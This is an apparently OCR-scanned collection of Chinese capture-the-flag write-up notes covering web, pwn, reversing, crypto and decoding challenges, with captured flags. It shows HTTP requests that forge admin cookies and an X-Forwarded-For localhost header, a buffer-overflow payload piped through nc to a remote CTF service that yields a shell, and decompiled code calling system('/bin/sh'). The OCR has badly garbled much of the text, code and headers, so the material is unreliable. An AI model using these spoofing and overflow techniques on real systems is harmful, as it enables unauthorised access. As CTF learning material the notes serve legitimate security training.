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Request
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POST

8 /weh/weh5/290khcaTlcTdas83dbee44£a00beda3ke. php ?act=add
JETTE/1.1

Host: 39.107.92.230

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4;
Ev:57.0) Gecko/Z0Ll00Ll0Ll Firefox/57.0

Locept:

text/html,application/xhtmldxml, application/xml;q=0.9,*/
T*:q=0.8

Aocept-Languages:

zh-CW, zh; q=0.8, zh-TW; g=0.7, zh-HE; gq=0. 5, en-U3; gq=0.3,en; =
0.z

Lecept-Encoding: gzip,
Feferer:
http://39.107.92.230/web/web5/290bca70c7das93db 644 £a00b
ScdE83bh9. php

Content-Type: application/x-www—form-urlencoded
Content-Length: 51

Cookie:
newpage=MikwinihzEI N RPhZTkzZGIZN Q0 ZnEwNGISZDgzTikucGhw
i IsLogin=1 e ——————————
JConnectifT Reep-—alive

1Upgrade-Insecure-Requests: 1

deflate

content=goiuser level=root &Submit=%E7%595%99%E8% A8% 50
[sesaaasss]

A H B F A inX-Forwarded-For: 127.0.0.1, isadmini 51

flag:{Why_ar3_yOu_s0_dia0}

S

HTTP/1.1 200 QK

Date: Wed, 11 Apr ZO01E 07:30:4& GMT

Server: Apache/2.4.7 (Unix) FHF/5.3.27
¥-Powered-By: PHP/5.3.27

Set-Cookie: Flag=flag&7BCDngratulatiDn%?Dk
ex1:ires=UeM
Content-Length: 1981

Keep—-Alive: timsout=5, max=100

Connection: Feep—-Alive

Content-Type: text/html

<html>

<head>
<meta http-squiv="Content-Type"” content="text/html;
charset=utf-g" />
<title>WelCome To OO0OO0</titlex
</ heads>
<hodys>
<P align=center><font color="red"
size=10>00000</ font></F>
<P align=center><font color=#££0000 style="FONT-SIZE:
Spt"><STRONG:
</ font><BR>
<HE>
</STRCONG>
<P
<center><font color="red">0000000</font></centers>
<form action="7act=add" method="post" name="add">
<table borderColor=#ccccce cellSpacing=0

cellPadding=1 width="30%" align=center bgColor=Hffffff
border=1>

<tr>

<td><TEXTAREA style="WIDTH: 397px; HEIGHT:

143px"™ nams="content” rows=8 cols=4l></TEXTAREA></tdl>
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Request
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Response
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GET /web/webhZ/index
Host: 39.107.9Z2.230
e |User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4;
8% rv:57.0) Gecko/20100101 Firefox/57.0
|Accept:
text/html, application/xhtml+xml, application/®ml;q=0.9,*/
*;g=0.8
Aocept-Language :
zh-CH, zh; q=0.8, =sh-TW;=0.7, zh-HE; ¢q=0.5,en-US;q=0.3, en; =
= |o.2
Aocept-Encoding: gzip, deflate
s Peferer: http://39.107.92.230/webh/webl/index. php
Connection: keep-alive L
Upgrade-Insecure-Requests: 1
If-Modified-Since: Tues, Z0 Oct Z015 O0£:10:09 GHMT
"Tf-Mone-Match: "13b-5IZIZB31dZkL7I40"
Cache-Control: max-age=0
/W

L

HTTF/Ll.l Z00 OE

Date: Mon, 30 Apr ZO01E 10O:3Z:00 GMT
Server: Apache/2.4.7 (Unix) PHP/5.3.27
¥-Powered-By: PHPF/5.3.27
Content-Length: 405

Eeep—-Alive: timsout=5, max=100
Connection: Keep-A4iliwve

Content-Type: text/html

<html><head><meta http-equiv="Content-Type"
content="text/html; charset=ucf-g"=>
<title>Careful</title>

</ head>

<pody alink="#007000" Dbgcolor="#000000" link="gold"
text="H#002000" v1link="#00c000">

<center>

<brz<br>

<oenters

<hl=Do you know what happend just now?!</hl>
<script>

window.location.href="index. html" ;

</script>

</centers>

<br>

<hbr>

<br>

<!--flag:{¥0u ar3 s0 Car3ful}-->

</html>
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JHIA: cat <(python -c “print “\x11"*40+"\x34\x12\xcd\xab’”) - | nc bamboofox.cs.nctu.edu.tw 22001

NC DambOOTOX.CS.NnCtU.edu.tw ZZ00
:~/Desktop/whalectf/pwn# cat <(python -c "print '\x11'*40+'\x34\x12\xcd
\xab'") - | nc bamboofox.cs.nctu.edu.tw 22001
cd /home/ctf
1L
ctf
flag
cat flag
BAMBOOFOX{PWNNN ISSS FUNNN}

2% http:/;www.secist.com/archives/3619.html
https://blog.csdn.net/CJ_Kano/article/details/42404985

int  cdecl main{int argc, const char =xargu
{
chav s; // [sp+4h] [bp-34h]@E1
int v5; /f [sp+2Ch] [bp-Ch]@1

setuvbuf{stdout, 8, 2, 8);
setuvbuf{stdin, 8, 1, 8);
gqets{&s);
if { vS == BxABCD1234 )
system{"/bin/sh™);
else
puts{"D0O YOU KHOW HOW TO BOF?"});
return 8;

e -
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v3="Dufhbmf"

v4="pG imos"

v5="ewlUglpt"
a=[([0,0,0,0,0,0,0],[0,0,0,0,0,0,0],[0,0,0,0,0,0,0]]
flag=""

for i in range(0,len(v3)):
al[0][i]=ord(v3[i])
for i in range(0,len(v4)):

a[l][il=ord(v4[i])

for i in range(0,len(v5)):
al2][i]l=ord(v5[i])

for i in range(12):

Password yCode Talkers, {BRRAZA%T.
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BB
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Flag WKEY{e2s6ry3r5s8f61024}

JFHRLE R, & EEE, RERE, FERET, FRERET, TCHERZHEANRMER—F 4%
Re

1. PE#& R

PETool{TJ¥

BR¥H 0x0004

B+ [a] &% 0x591D5CCC

A\ D Hiik 0x0005B789

& 0x0103

HAET
BJWXB_CTF{0004h-591D5CCCh-0005B789h-0103h}
2. Re warmup100 f&] 8. ) 7 85,

WRJE KRR

HHBJIJWXB_CTF{W4rm_UP_warm_up_WARM_UP!}

1. Re100 app-release #i \jeb &I Zbyte 7 5%,
print(enc(“PXEJPMQFTiS|v \"#vMbw KMA3_b~w30”, 18))
HEBJWXB_CTF{Andr01d_VerY_S!Mple!}
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base64 /@R http://45.32.47.98, , flagNip
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enc (jeb¥TFH—HFZFFH, 15)#7 8
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WENZT7¥E, gevalue()REIMER20000, FFEER, FrA A TEZAWLEIRR, FHAT, BHK11, flag{11}
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key{23ac600a11eaffc8}

decode 3

JavaScript (A% ¥ ¥, BHEK KRS & 1T B flag=itisjavascriptenjoy%21
HAr%21=!

Decode8

flag{Just 4 fun 0.0}
https://www.cnblogs.com/zqh20145320/p/5710072.html
ascii R R A

Decode9

Flag{? enusCtf}

2 JLhttps://blog.csdn.net/lanvnal/article/details/54635612
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Frame browser
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HERN

Y2F0Y2hfdGh1X2R5bmFtaWNfZmxhZ19pc19xdW102ZV9zaW1wbGU=
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d=125631357777427553

rsafl fif

$iBUNLEY

openssl rsa -pubin -text -modulus -in warmup -in public.pem

3 EIn= 0xA41006DEFD378B7395B4E2EB1ECI9BF56A61CD9C3B5A0A73528521EEB2FB817A7.
E=65537 (0x10001)
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